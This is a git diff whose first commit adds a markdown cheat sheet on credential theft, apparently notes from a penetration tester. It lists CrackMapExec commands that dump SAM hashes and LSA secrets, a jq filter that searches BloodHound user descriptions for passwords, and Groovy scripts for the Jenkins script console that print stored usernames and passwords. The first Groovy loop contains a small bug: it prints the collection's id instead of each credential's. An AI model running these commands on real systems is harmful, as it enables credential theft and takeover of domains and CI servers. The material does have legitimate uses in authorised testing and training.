first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,42 @@
+- CrackMapExec
+	- `cme smb <target> –u ValidUser –p ValidPass --sam`
+		- Dumps the SAM file - local users only (not domain)
+	- `cme smb <target> –u ValidUser –p ValidPass --lsa`
+		- Dump LSA secrets from the registry - includes Domain Cached Credentials
+- Checking BloodHound data for credentials in user descriptions
+	- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
+- Extracting Jenkins credentials from script console
+```Groovy
+/* All Credentials */
+import jenkins.*
+import jenkins.model.* 
+import hudson.*
+import hudson.model.*
+def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
+        com.cloudbees.plugins.credentials.Credentials.class,
+        Jenkins.instance,
+        null,
+        null
+);
+for (creds in jenkinsCredentials) {
+    println(jenkinsCredentials.id)
+    }
+
+/* Specific Credentials */
+import jenkins.*
+import jenkins.model.* 
+import hudson.*
+import hudson.model.*
+def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
+        com.cloudbees.plugins.credentials.Credentials.class,
+        Jenkins.instance,
+        null,
+        null
+);
+for (creds in jenkinsCredentials) {
+  if(creds.id == "<credential_id>"){
+    println(creds.<variable_name_suchas_username>)
+    println(creds.<variable_name_suchas_password>)
+    }
+}
+```